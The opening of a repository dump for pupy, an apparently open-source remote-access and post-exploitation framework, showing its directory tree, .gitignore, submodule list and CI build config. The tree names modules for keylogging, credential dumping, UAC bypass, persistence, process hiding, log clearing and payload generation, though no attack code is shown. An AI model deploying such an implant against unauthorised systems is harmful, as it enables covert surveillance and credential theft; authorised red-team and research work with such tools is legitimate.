Repository: n1nj4sec/pupy
Branch: nextgen
Commit: 56b7aac6b4c5
Files: 643
Total size: 4.7 MB

Directory structure:
gitextract_ustywo0t/

├── .gitignore
├── .gitmodules
├── .travis.yml
├── LICENSE
├── README.md
├── client/
│   ├── additional_imports.py
│   ├── android_sources/
│   │   ├── build-docker.sh
│   │   ├── build.sh
│   │   ├── buildozer-docker.spec
│   │   ├── buildozer.spec.example
│   │   ├── main.py
│   │   └── pp.py
│   ├── build-docker.sh
│   ├── build_library_zip.py
│   ├── common/
│   │   ├── 7zTypes.h
│   │   ├── LzmaDec.c
│   │   ├── LzmaDec.h
│   │   ├── Python-dynload.c
│   │   ├── Python-dynload.h
│   │   ├── Python-stacktrace.c
│   │   ├── Python-stacktrace.h
│   │   ├── debug.c
│   │   ├── debug.h
│   │   ├── jni.h
│   │   ├── jni_md.h
│   │   ├── jni_on_load.c
│   │   ├── lzmaunpack.c
│   │   └── uthash.h
│   ├── gen_library_compressed_string.py
│   ├── gen_resource_header.py
│   ├── mktab.py
│   ├── pyoxidizer-build/
│   │   ├── build_template.sh
│   │   ├── lib/
│   │   │   └── http_parser/
│   │   │       ├── __init__.py
│   │   │       ├── _socketio.py
│   │   │       ├── http.py
│   │   │       ├── pyparser.py
│   │   │       ├── reader.py
│   │   │       └── util.py
│   │   ├── linux-builder.Dockerfile
│   │   ├── pyoxidizer.bzl
│   │   └── requirements.txt
│   ├── requirements.txt
│   ├── sources-linux-py3/
│   │   ├── .gitignore
│   │   ├── Dockerfile.linux-builder
│   │   ├── LICENSES.txt
│   │   ├── Makefile
│   │   ├── Python-dynload-os.h
│   │   ├── Python.SunOS10.Setup.dist
│   │   ├── build-docker.sh
│   │   ├── build_c_ext.py
│   │   ├── buildenv-sunos.sh
│   │   ├── compat/
│   │   │   ├── bits/
│   │   │   │   ├── sched.h
│   │   │   │   └── stat.h
│   │   │   ├── ifaddrs.h
│   │   │   └── sched.h
│   │   ├── daemonize.c
│   │   ├── daemonize.h
│   │   ├── decompress.c
│   │   ├── decompress.h
│   │   ├── docker/
│   │   │   └── pyenv-setup-build.patch
│   │   ├── fixes.c
│   │   ├── fixes.h
│   │   ├── ld_hooks.c
│   │   ├── ld_hooks.h
│   │   ├── main_exe.c
│   │   ├── main_so.c
│   │   ├── memfd.h
│   │   ├── pupy.c
│   │   ├── pupy.ldscript
│   │   ├── pupy.so.ldscript
│   │   ├── pupy_load.c
│   │   ├── pupy_load.h
│   │   ├── revision.h
│   │   ├── tmplibrary.c
│   │   └── tmplibrary.h
│   └── sources-windows-py3/
│       ├── .gitignore
│       ├── GetProcAddressR.c
│       ├── GetProcAddressR.h
│       ├── LICENSES.txt
│       ├── LoadLibraryR.c
│       ├── LoadLibraryR.h
│       ├── Makefile
│       ├── MemoryModule.c
│       ├── MemoryModule.h
│       ├── MyLoadLibrary.c
│       ├── MyLoadLibrary.h
│       ├── Python-dynload-os.h
│       ├── ReflectiveDllInjection.h
│       ├── ReflectiveLoader.c
│       ├── ReflectiveLoader.h
│       ├── actctx.c
│       ├── actctx.h
│       ├── base_inject.c
│       ├── base_inject.h
│       ├── build-docker.sh
│       ├── in-mem-exe.c
│       ├── main_exe.c
│       ├── main_reflective.c
│       ├── postmortem.c
│       ├── postmortem.h
│       ├── pupy.c
│       ├── pupy_load.c
│       ├── pupy_load.h
│       ├── remote_thread.c
│       ├── remote_thread.h
│       ├── resource_python_manifest.c
│       ├── thread.c
│       └── thread.h
├── pupy/
│   ├── .dockerignore
│   ├── __init__.py
│   ├── agent/
│   │   ├── __init__.py
│   │   ├── __main__.py
│   │   ├── _linux_memfd.py
│   │   ├── config.py
│   │   ├── dl_hacks.py
│   │   ├── handlers.py
│   │   ├── logger.py
│   │   ├── manager.py
│   │   ├── memimporter/
│   │   │   ├── __init__.py
│   │   │   ├── linux.py
│   │   │   ├── posix.py
│   │   │   ├── utils.py
│   │   │   └── win32.py
│   │   ├── pstore.py
│   │   ├── psutil_hacks.py
│   │   ├── service.py
│   │   ├── ssl_hacks.py
│   │   ├── utils.py
│   │   └── winerror_hacks.py
│   ├── cli/
│   │   ├── __init__.py
│   │   ├── __main__.py
│   │   ├── pupygen.py
│   │   └── pupysh.py
│   ├── commands/
│   │   ├── __init__.py
│   │   ├── config.py
│   │   ├── connect.py
│   │   ├── creds.py
│   │   ├── dnscnc.py
│   │   ├── exit.py
│   │   ├── exposed.py
│   │   ├── gen.py
│   │   ├── help.py
│   │   ├── jobs.py
│   │   ├── listen.py
│   │   ├── logging.py
│   │   ├── python.py
│   │   ├── restart.py
│   │   ├── run.py
│   │   ├── sessions.py
│   │   └── tag.py
│   ├── conf/
│   │   ├── imports_done.py
│   │   └── pupy.conf.default
│   ├── external/
│   │   ├── PowerSploit/
│   │   │   ├── CodeExecution/
│   │   │   │   └── Invoke-ReflectivePEInjection.ps1
│   │   │   └── Recon/
│   │   │       └── PowerView.ps1
│   │   ├── creddump7/
│   │   │   ├── .gitignore
│   │   │   ├── CHANGELOG
│   │   │   ├── COPYING
│   │   │   ├── README.md
│   │   │   ├── cachedump.py
│   │   │   ├── framework/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── addrspace.py
│   │   │   │   ├── newobj.py
│   │   │   │   ├── object.py
│   │   │   │   ├── types.py
│   │   │   │   └── win32/
│   │   │   │       ├── __init__.py
│   │   │   │       ├── domcachedump.py
│   │   │   │       ├── hashdump.py
│   │   │   │       ├── lsasecrets.py
│   │   │   │       └── rawreg.py
│   │   │   ├── lsadump.py
│   │   │   └── pwdump.py
│   │   └── linenum/
│   │       └── linenum.sh
│   ├── library_patches_py2/
│   │   ├── Crypto/
│   │   │   └── Util/
│   │   │       └── _raw_api.py
│   │   ├── linecache.py
│   │   ├── site.py
│   │   ├── sysconfig.py_old
│   │   └── uuid.py
│   ├── library_patches_py3/
│   │   ├── Crypto/
│   │   │   └── Util/
│   │   │       └── _raw_api.py
│   │   ├── bz2.py
│   │   ├── linecache.py
│   │   ├── poster/
│   │   │   ├── __init__.py
│   │   │   ├── encode.py
│   │   │   └── streaminghttp.py
│   │   ├── site.py
│   │   ├── umsgpack.py
│   │   └── xattr/
│   │       └── lib_build.py
│   ├── modules/
│   │   ├── __init__.py
│   │   ├── ad.py
│   │   ├── alive.py
│   │   ├── apps.py
│   │   ├── become.py
│   │   ├── beroot.py
│   │   ├── bypassuac.py
│   │   ├── call.py
│   │   ├── cat.py
│   │   ├── cd.py
│   │   ├── check_vm.py
│   │   ├── clear_logs.py
│   │   ├── cloudinfo.py
│   │   ├── contacts.py
│   │   ├── cp.py
│   │   ├── credcap.py
│   │   ├── creddump.py
│   │   ├── date.py
│   │   ├── display.py
│   │   ├── dns.py
│   │   ├── download.py
│   │   ├── drives.py
│   │   ├── duplicate.py
│   │   ├── echo.py
│   │   ├── edit.py
│   │   ├── env.py
│   │   ├── exit.py
│   │   ├── exploit_suggester.py
│   │   ├── forward.py
│   │   ├── get_hwuuid.py
│   │   ├── get_info.py
│   │   ├── getdomain.py
│   │   ├── getpid.py
│   │   ├── getppid.py
│   │   ├── getprivs.py
│   │   ├── getsystem.py
│   │   ├── getuid.py
│   │   ├── gpstracker.py
│   │   ├── hashmon.py
│   │   ├── hide_process.py
│   │   ├── http.py
│   │   ├── igd.py
│   │   ├── impersonate.py
│   │   ├── interactive_shell.py
│   │   ├── inveigh.py
│   │   ├── ip.py
│   │   ├── isearch.py
│   │   ├── keylogger.py
│   │   ├── last.py
│   │   ├── lazagne.py
│   │   ├── lib/
│   │   │   ├── __init__.py
│   │   │   ├── linux/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── exec_elf.py
│   │   │   │   └── migrate.py
│   │   │   ├── utils/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── cmdrepl.py
│   │   │   │   ├── download.py
│   │   │   │   └── shell_exec.py
│   │   │   └── windows/
│   │   │       ├── __init__.py
│   │   │       ├── memory_exec.py
│   │   │       ├── migrate.py
│   │   │       ├── powerloader.py
│   │   │       ├── powershell.py
│   │   │       └── winpcap.py
│   │   ├── linux_stealth.py
│   │   ├── load_package.py
│   │   ├── lock_screen.py
│   │   ├── logs.py
│   │   ├── loot_memory.py
│   │   ├── ls.py
│   │   ├── mapped.py
│   │   ├── memory_exec.py
│   │   ├── memstrings.py
│   │   ├── migrate.py
│   │   ├── mimikatz.py
│   │   ├── mimipy.py
│   │   ├── mimishell.py
│   │   ├── mkdir.py
│   │   ├── mouselogger.py
│   │   ├── msgbox.py
│   │   ├── mv.py
│   │   ├── nbnsspoof.py
│   │   ├── netcreds.py
│   │   ├── netmon.py
│   │   ├── netstat.py
│   │   ├── odbc.py
│   │   ├── outlook.py
│   │   ├── persistence.py
│   │   ├── pexec.py
│   │   ├── pipecatcher.py
│   │   ├── port_scan.py
│   │   ├── portfwd.py
│   │   ├── powerview.py
│   │   ├── privesc_checker.py
│   │   ├── process_kill.py
│   │   ├── ps.py
│   │   ├── psexec.py
│   │   ├── psh.py
│   │   ├── pwd.py
│   │   ├── pyexec.py
│   │   ├── pyshell.py
│   │   ├── pywerview.py
│   │   ├── rdesktop.py
│   │   ├── rdp.py
│   │   ├── record_mic.py
│   │   ├── reg.py
│   │   ├── rfs.py
│   │   ├── rm.py
│   │   ├── rwmic.py
│   │   ├── scapy_shell.py
│   │   ├── screenshot.py
│   │   ├── search.py
│   │   ├── services.py
│   │   ├── shares.py
│   │   ├── shell_exec.py
│   │   ├── shellcode_exec.py
│   │   ├── smb.py
│   │   ├── smbspider.py
│   │   ├── socks5proxy.py
│   │   ├── ssh.py
│   │   ├── sshell.py
│   │   ├── stat.py
│   │   ├── sudo_alias.py
│   │   ├── tasks.py
│   │   ├── tcpdump.py
│   │   ├── text_to_speach.py
│   │   ├── ttyrec.py
│   │   ├── upload.py
│   │   ├── users.py
│   │   ├── usniper.py
│   │   ├── vibrate.py
│   │   ├── w.py
│   │   ├── webcamsnap.py
│   │   ├── wmic.py
│   │   ├── write.py
│   │   ├── x509.py
│   │   └── zip.py
│   ├── network/
│   │   ├── __init__.py
│   │   ├── conf.py
│   │   ├── lib/
│   │   │   ├── __init__.py
│   │   │   ├── ack.py
│   │   │   ├── base.py
│   │   │   ├── base_launcher.py
│   │   │   ├── buffer.py
│   │   │   ├── clients.py
│   │   │   ├── compat.py
│   │   │   ├── connection.py
│   │   │   ├── convcompat.py
│   │   │   ├── dnsinfo.py
│   │   │   ├── doh.py
│   │   │   ├── echo.py
│   │   │   ├── igd.py
│   │   │   ├── launchers/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── auto_proxy.py
│   │   │   │   ├── bind.py
│   │   │   │   ├── connect.py
│   │   │   │   └── dnscnc.py
│   │   │   ├── msgtypes.py
│   │   │   ├── netcreds.py
│   │   │   ├── ntop.py
│   │   │   ├── ntplib.py
│   │   │   ├── online.py
│   │   │   ├── pac.py
│   │   │   ├── picocmd/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── ascii85.py
│   │   │   │   ├── baseconv.py
│   │   │   │   ├── client.py
│   │   │   │   ├── dns_encoder.py
│   │   │   │   ├── dns_encoder_table.py
│   │   │   │   ├── picocmd.py
│   │   │   │   └── server.py
│   │   │   ├── proxies.py
│   │   │   ├── pupyrpc.py
│   │   │   ├── rpc/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── core/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── brine.py
│   │   │   │   │   ├── channel.py
│   │   │   │   │   ├── consts.py
│   │   │   │   │   ├── netref.py
│   │   │   │   │   ├── nowait.py
│   │   │   │   │   ├── protocol.py
│   │   │   │   │   ├── service.py
│   │   │   │   │   ├── stream.py
│   │   │   │   │   └── vinegar.py
│   │   │   │   ├── lib/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── colls.py
│   │   │   │   ├── utils/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── classic.py
│   │   │   │   │   ├── helpers.py
│   │   │   │   │   └── server.py
│   │   │   │   └── version.py
│   │   │   ├── scan.py
│   │   │   ├── servers.py
│   │   │   ├── socks.py
│   │   │   ├── streams/
│   │   │   │   ├── PupySocketStream.py
│   │   │   │   ├── PupyVirtualStream.py
│   │   │   │   └── __init__.py
│   │   │   ├── stun.py
│   │   │   ├── tinyhttp.py
│   │   │   ├── transports/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── cryptoutils/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── aes.py
│   │   │   │   │   ├── ecpv.py
│   │   │   │   │   ├── pbkdf2.py
│   │   │   │   │   ├── rc4.py
│   │   │   │   │   ├── sha.py
│   │   │   │   │   └── xor.py
│   │   │   │   ├── dummy.py
│   │   │   │   ├── ec4.py
│   │   │   │   ├── ecm.py
│   │   │   │   ├── http.py
│   │   │   │   ├── httpwrap.py
│   │   │   │   ├── obfs3/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── obfs3.py
│   │   │   │   │   └── obfs3_dh.py
│   │   │   │   ├── obfscommon/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── modexp.py
│   │   │   │   │   └── serialize.py
│   │   │   │   ├── rsa_aes.py
│   │   │   │   ├── utils.py
│   │   │   │   └── websocket.py
│   │   │   └── utils.py
│   │   └── transports/
│   │       ├── __init__.py
│   │       ├── dfws/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       ├── ec4/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       ├── ecm/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       ├── http/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       ├── kc4/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       ├── obfs3/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       ├── rsa/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       ├── ssl/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       ├── ssl_rsa/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       ├── tcp_cleartext/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       ├── udp_cleartext/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       ├── udp_secure/
│   │       │   ├── __init__.py
│   │       │   └── conf.py
│   │       └── ws/
│   │           ├── __init__.py
│   │           └── conf.py
│   ├── packages/
│   │   ├── all/
│   │   │   ├── ad.py
│   │   │   ├── cloudinfo.py
│   │   │   ├── fsutils.py
│   │   │   ├── gssapi.py
│   │   │   ├── hwuuid.py
│   │   │   ├── interactive_shell.py
│   │   │   ├── loot_memory.py
│   │   │   ├── memstrings.py
│   │   │   ├── mic_recorder.py
│   │   │   ├── nbnsspoof.py
│   │   │   ├── netmon.py
│   │   │   ├── odbc.py
│   │   │   ├── png.py
│   │   │   ├── pupyps.py
│   │   │   ├── pupyutils/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── basic_cmds.py
│   │   │   │   ├── dns.py
│   │   │   │   ├── netcreds.py
│   │   │   │   ├── portfwd.py
│   │   │   │   ├── psexec.py
│   │   │   │   ├── rdp_check.py
│   │   │   │   ├── rreg.py
│   │   │   │   ├── safepopen.py
│   │   │   │   ├── search.py
│   │   │   │   ├── share_enum.py
│   │   │   │   ├── smbspider.py
│   │   │   │   ├── users.py
│   │   │   │   └── zip.py
│   │   │   ├── pyshell/
│   │   │   │   ├── PythonCompleter.py
│   │   │   │   ├── __init__.py
│   │   │   │   └── controller.py
│   │   │   ├── pyuvproxy.py
│   │   │   ├── rdesktop.py
│   │   │   ├── scandir.py
│   │   │   ├── screenshot.py
│   │   │   ├── ssh.py
│   │   │   ├── tasks.py
│   │   │   ├── tcpdump.py
│   │   │   ├── transfer.py
│   │   │   ├── whole.py
│   │   │   └── winerror.py
│   │   ├── android/
│   │   │   └── pupydroid/
│   │   │       ├── __init__.py
│   │   │       ├── apps.py
│   │   │       ├── call.py
│   │   │       ├── camera.py
│   │   │       ├── contacts.py
│   │   │       ├── gpsTracker.py
│   │   │       ├── text_to_speech.py
│   │   │       ├── utils.py
│   │   │       └── vibrator.py
│   │   ├── darwin/
│   │   │   ├── checkvm.py
│   │   │   ├── hashdump.py
│   │   │   └── keylogger.py
│   │   ├── linux/
│   │   │   └── all/
│   │   │       ├── checkvm.py
│   │   │       ├── fsutils_ext.py
│   │   │       ├── hide_process.py
│   │   │       ├── keylogger.py
│   │   │       ├── linux_stealth.py
│   │   │       ├── mapped.py
│   │   │       ├── memexec.py
│   │   │       ├── notify.py
│   │   │       ├── persistence.py
│   │   │       ├── readlogs.py
│   │   │       ├── secretstorage/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── collection.py
│   │   │       │   ├── defines.py
│   │   │       │   ├── dhcrypto.py
│   │   │       │   ├── exceptions.py
│   │   │       │   ├── item.py
│   │   │       │   └── util.py
│   │   │       ├── services.py
│   │   │       ├── ttyrec.py
│   │   │       └── usniper.py
│   │   ├── patches/
│   │   │   └── all/
│   │   │       └── scapy/
│   │   │           ├── __init__.py
│   │   │           ├── all.py
│   │   │           ├── asn1/
│   │   │           │   └── .ignore
│   │   │           ├── compat.py
│   │   │           ├── config.py
│   │   │           ├── contrib/
│   │   │           │   └── .ignore
│   │   │           ├── data.py
│   │   │           ├── error.py
│   │   │           ├── extlib.py
│   │   │           ├── layers/
│   │   │           │   └── .ignore
│   │   │           ├── main.py
│   │   │           ├── modules/
│   │   │           │   ├── .ignore
│   │   │           │   ├── __init__.py.include
│   │   │           │   ├── six.py.include
│   │   │           │   └── winpcapy.py.include
│   │   │           └── tools/
│   │   │               └── .ignore
│   │   ├── posix/
│   │   │   └── all/
│   │   │       ├── become.py
│   │   │       ├── display.py
│   │   │       ├── hashmon.py
│   │   │       ├── mount.py
│   │   │       ├── ptyshell.py
│   │   │       ├── readlogs.py
│   │   │       ├── readlogs_generic.py
│   │   │       ├── sudo_alias.py
│   │   │       └── uidle.py
│   │   ├── src/
│   │   │   └── VideoCapture/
│   │   │       ├── LGPL.txt
│   │   │       └── src/
│   │   │           ├── VideoCapture.py
│   │   │           ├── fixhtml.py
│   │   │           ├── helvB08.pil
│   │   │           ├── helvetica-10.pil
│   │   │           ├── mkdist.py
│   │   │           ├── vidcap.dsp
│   │   │           ├── vidcap.dsw
│   │   │           └── vidcapmodule.cpp
│   │   └── windows/
│   │       ├── all/
│   │       │   ├── checkvm.py
│   │       │   ├── conpty.py
│   │       │   ├── fsutils.py
│   │       │   ├── fsutils_ext.py
│   │       │   ├── isearch.py
│   │       │   ├── junctions.py
│   │       │   ├── netresources.py
│   │       │   ├── ntfs_streams.py
│   │       │   ├── outlook.py
│   │       │   ├── pipecatcher.py
│   │       │   ├── powerloader.py
│   │       │   ├── powershell.py
│   │       │   ├── ptyshell.py
│   │       │   ├── pupwinutils/
│   │       │   │   ├── __init__.py
│   │       │   │   ├── bypassuac_registry.py
│   │       │   │   ├── bypassuac_token_imp.py
│   │       │   │   ├── drives.py
│   │       │   │   ├── getdomain.py
│   │       │   │   ├── hookfuncs.py
│   │       │   │   ├── keylogger.py
│   │       │   │   ├── memexec.py
│   │       │   │   ├── mouselogger.py
│   │       │   │   ├── msgbox.py
│   │       │   │   ├── processes.py
│   │       │   │   ├── rdp.py
│   │       │   │   ├── security.py
│   │       │   │   ├── shellcode.py
│   │       │   │   └── wdigest.py
│   │       │   ├── readlogs.py
│   │       │   ├── reg.py
│   │       │   ├── uidle.py
│   │       │   ├── winpty.py
│   │       │   └── wql.py
│   │       ├── amd64/
│   │       │   └── vidcap.pyd
│   │       └── x86/
│   │           └── vidcap.pyd
│   ├── payload_templates/
│   │   └── .keep
│   ├── pupylib/
│   │   ├── PupyCategories.py
│   │   ├── PupyClient.py
│   │   ├── PupyClientInitializer.py
│   │   ├── PupyCmd.py
│   │   ├── PupyCompile.py
│   │   ├── PupyCompleter.py
│   │   ├── PupyConfig.py
│   │   ├── PupyCredentials.py
│   │   ├── PupyDnsCnc.py
│   │   ├── PupyErrors.py
│   │   ├── PupyJob.py
│   │   ├── PupyLogger.py
│   │   ├── PupyModule.py
│   │   ├── PupyOffload.py
│   │   ├── PupyOutput.py
│   │   ├── PupyServer.py
│   │   ├── PupyService.py
│   │   ├── PupySignalHandler.py
│   │   ├── PupyTriggers.py
│   │   ├── PupyVersion.py
│   │   ├── PupyWeb.py
│   │   ├── PythonCompleter.py
│   │   ├── __init__.py
│   │   ├── conf.py
│   │   ├── payloads/
│   │   │   ├── __init__.py
│   │   │   ├── dependencies.py
│   │   │   ├── dotnet.py
│   │   │   ├── ps1_oneliner.py
│   │   │   ├── py_oneliner.py
│   │   │   └── rubber_ducky.py
│   │   └── utils/
│   │       ├── __init__.py
│   │       ├── arch.py
│   │       ├── common.py
│   │       ├── credentials.py
│   │       ├── downloader.py
│   │       ├── jarsigner.py
│   │       ├── listener.py
│   │       ├── obfuscate.py
│   │       ├── pe.py
│   │       ├── rpyc_utils.py
│   │       └── term.py
│   ├── scriptlets/
│   │   ├── __init__.py
│   │   ├── daemonize.py
│   │   ├── hide_argv.py
│   │   ├── keylogger.py
│   │   └── persistence.py
│   ├── triggers/
│   │   ├── __init__.py
│   │   ├── example_trigger.py
│   │   └── notification.py
│   └── webstatic/
│       ├── index.html
│       ├── nginx_index.html
│       └── rdesktop/
│           ├── index.html
│           └── rdesktop.js
├── requirements.txt
├── services/
│   ├── echo/
│   │   └── main.go
│   └── proxy/
│       ├── daemon.go
│       ├── dns.go
│       ├── generate.go
│       ├── limits_linux.go
│       ├── main.go
│       ├── message.go
│       ├── streams.go
│       └── types.go
├── setup.py
└── tox.ini

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
# Temporary files
*.pyc
*.pyo
*.swp
.#*

# Generated sources
client/sources/import-tab.c
client/sources/import-tab.h
client/sources/revision.h
client/sources-linux/revision.h
client/sources-linux/ld_hooks_64.c
client/sources-linux/ld_hooks_64d.c
client/android_sources/buildozer.spec

# Compiled files
client/sources/*.obj
client/sources/*.obj
client/sources/_pupy*
client/sources/resources

client/pyoxidizer-build/lib/pupy
client/pyoxidizer-build/library_patches_py3

client/sources-linux/*.o
client/sources-linux/*.lin
client/sources-linux/*.so
client/sources-linux/resources

pupy/payload_templates/*.toc
pupy/payload_templates/*.dll
pupy/payload_templates/*.exp
pupy/payload_templates/*.lib
pupy/payload_templates/*.zip
pupy/payload_templates/*.exe
pupy/payload_templates/*.lin
pupy/payload_templates/*.lin.so
pupy/payload_templates/*.pyd

# pupy
pupy/.pupy_history
pupy/config
pupy/crypto
pupy/data
pupy/proxy/proxy

build
pupy.egg-info
.pupy_history
pupyvenv


================================================
FILE: .gitmodules
================================================
[submodule "pupy/external/LaZagne"]
	path = pupy/external/LaZagne
	url = https://github.com/AlessandroZ/LaZagne
[submodule "pupy/external/linux-exploit-suggester"]
	path = pupy/external/linux-exploit-suggester
	url = https://github.com/mzet-/linux-exploit-suggester
[submodule "pupy/external/pywerview"]
	path = pupy/external/pywerview
	url = https://github.com/the-useless-one/pywerview.git
[submodule "pupy/external/winpty"]
	path = pupy/external/winpty
	url = https://github.com/alxchk/winpty
[submodule "pupy/memorpy"]
	path = pupy/external/memorpy
	url = https://github.com/alxchk/memorpy
[submodule "pupy/external/mimipy"]
	path = pupy/external/mimipy
	url = https://github.com/n1nj4sec/mimipy.git
[submodule "client/android_sources/python-for-android"]
	path = client/android_sources/python-for-android
	url = https://github.com/alxchk/python-for-android.git
[submodule "pupy/external/Inveigh"]
	path = pupy/external/Inveigh
	url = https://github.com/Kevin-Robertson/Inveigh.git
[submodule "pupy/pupy/external/BeRoot"]
	path = pupy/external/BeRoot
	url = https://github.com/AlessandroZ/BeRoot
[submodule "client/toolchain/docker-old-tc-bootstrap"]
	path = client/toolchain/docker-old-tc-bootstrap
	url = https://github.com/alxchk/docker-old-tc-bootstrap
[submodule "client/toolchain/docker-old-tc"]
	path = client/toolchain/docker-old-tc
	url = https://github.com/alxchk/docker-old-tc
[submodule "pupy/external/pyopus"]
	path = pupy/external/pyopus
	url = https://github.com/alxchk/pyopus
[submodule "pupy/external/WinPwnage"]
	path = pupy/external/WinPwnage
	url = https://github.com/rootm0s/WinPwnage
[submodule "pupy/external/wesng"]
	path = pupy/external/wesng
	url = https://github.com/bitsadmin/wesng
[submodule "client/sources-linux/injector"]
	path = client/sources-linux/injector
	url = https://github.com/kubo/injector
[submodule "pykcp"]
	url = https://github.com/n1nj4sec/pykcp
[submodule "pupy/external/pykcp"]
	path = pupy/external/pykcp
	url = https://github.com/n1nj4sec/pykcp


================================================
FILE: .travis.yml
================================================
os: linux
dist: xenial
services: docker
language: generic
jobs:
  include:
    - language: generic
    - language: python  # run flake8 linter on Python 3 in allow_failures mode
      python: 3.8
      env:
        - FLAKE8_SELECT="E9,F63,F7,F82"
      install: pip install flake8
      before_script: true  # override
      script: flake8 . --count --select=$FLAKE8_SELECT --show-source --statistics
  allow_failures:
    - python: 3.8
before_script:
  - sudo pip2 install flake8 flake8-per-file-ignores
  - sudo apt-get install swig libssl-dev python-all-dev
  - cd $TRAVIS_BUILD_DIR/pupy && python2 -m flake8 .
  - |
    docker pull alxchk/tc-windows & docker pull alxchk/tc-linux32 &
    docker pull alxchk/tc-linux64 & docker pull alxchk/tc-android
script:
  - export TAG=`if [ "$TRAVIS_BRANCH" == "master" ]; then echo "latest"; else echo $TRAVIS_BRANCH; fi`
  - cd $TRAVIS_BUILD_DIR && ./build-docker-images.sh
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.lin
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.so
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.dll
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.exe
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.lin
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.so
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.dll
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.exe
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupy.apk
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/windows-amd64.zip
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/windows-x86.zip
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/linux-amd64.zip
  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/linux-x86.zip
after_success:
- export TAG=`if [ "$TRAVIS_BRANCH" == "master" ]; then echo "latest"; else echo $TRAVIS_BRANCH; fi`
- |
  if [ "$TRAVIS_REPO_SLUG" = "alxchk/pupy" ] && [ -z "$TRAVIS_PULL_REQUEST_SLUG" ]; then
  docker login -u $DOCKER_USER -p $DOCKER_PASS &&
  cd $TRAVIS_BUILD_DIR/pupy &&
  docker push alxchk/pupy:$TAG >/dev/null;
  docker push alxchk/pupy:base-$TAG >/dev/null;
  fi
env:
  global:
  - COMMIT=${TRAVIS_COMMIT::8}
  - secure: gKv5C4ZTnnzOcQiGrbwEgJhE8SPJLCSIYsdDLpDIHk7OjNu+hGp+frygU25w2NlHyV7cReu7glvyphVwmrQ+FyBRtrKysk+HbU59QiVVOD6x8uyDEZ5qG0NeEOoD9ChdgSy2CSl39Pf8IIcCgZIcyNDukxZbGaUr4LpOSRu8E5H1YT9qxpsDHidQkkcYbZLNlVmhBNZ2LlFXZAu7LwSx111dMTPPVY+zRR1VmaXLuqn90p/L5Cn04xcJHMSc9fhIA3ty463KgDMuM4IXYQS1xCxyZwCpYGbHtuZYDvjmrVhQpEidj5ibcnb+ll+9XNr4JYi6ldVRDmv7J/1DOVd9Iw77LJ0SAGvTDGzTMHRz74Er82xa6zu5NkzW98oti6tCYM9QeAGp4QSJnO0WqgG87y3JW0Ponv3suMG60zPAeLYcuiyhmmOy/v3w0Xq1FHsyqSayN4koJDpUJ7DQQDbSv1Nc0MaG9XZaNVAMab0sWaqbgCMkteNN6w72lAVTck6b/NDV2taONOiNJFJIhiOpO4EZ8g4t7j/ZXpBnP9O+//APQ5WeREEcsbS32y2/R6YiHkKlnPDomfm1fJWZh3KUzRur3PbXvpJkc9D+68UYh02oYlodfi9zoDpCn5OymFPYYI9fibmbuZ1aBwlGPsYnYliAXtlEd/W3XMKT1pWdvbI=
  - secure: HOQ7k4Sf9p3CyNy02lBMH5Ff2OeOXQWElLad9vFg0LTkxfnfkGeWP9K+fAR9Lp3nAAd5QRX/2MaJxJTomVHJSCGqjuqrqkBHBLCs7Fgt+bKx2F3QujoqJY4orZHKxpN7YFwAGF4rRzR5Q24xfvIgrnJNWgAoiEKV9yPEFa8k5pJ37MaTFRmOtkrfsN2bdpRc1uD5jbbccVFHPeTDIUa80JRuMBEVDMjJ+CeQq5il3OJUAEdiK03zPDeoCibQCl7UGQxvaWFpYlCUKw1r7d/roJcwlNnYrM0OnImAx0gAGg68vXfZFh/XHE75J3QA7eD/pQ3VdVH1OIgg2Ke3nqO4XMtl6nJGYjC+3fAzq+BOgqvHcwpNzVf6GIXwUl77Bfe1Hlx4uRrCmjbD769bIQLJeUtwKnp9fTjGC8iHEfxW5LsD3PH31vAWfADTB04puGzUAJaBVNwNlnw+dG15lH/LHvjxhJBze2Sj5Mgd2TyNDS+c6dDcIXBnLaajmxs32t87vWNjXjF0wMvBo9G1WMBH3N8UbIV/TPqaT5nINi9ntmY8wFDstNd6g1C3gtfVNsmA7cqb+AbeL8ezETMxwvTrUpPVAu2VcjomgE0zld4kBFvWVs9RQiBfmkChKEZZ3/5u9F9tRbaEcnQukw7+ULsrBqNbZwC4iHtMo3PYCHE0lk8=
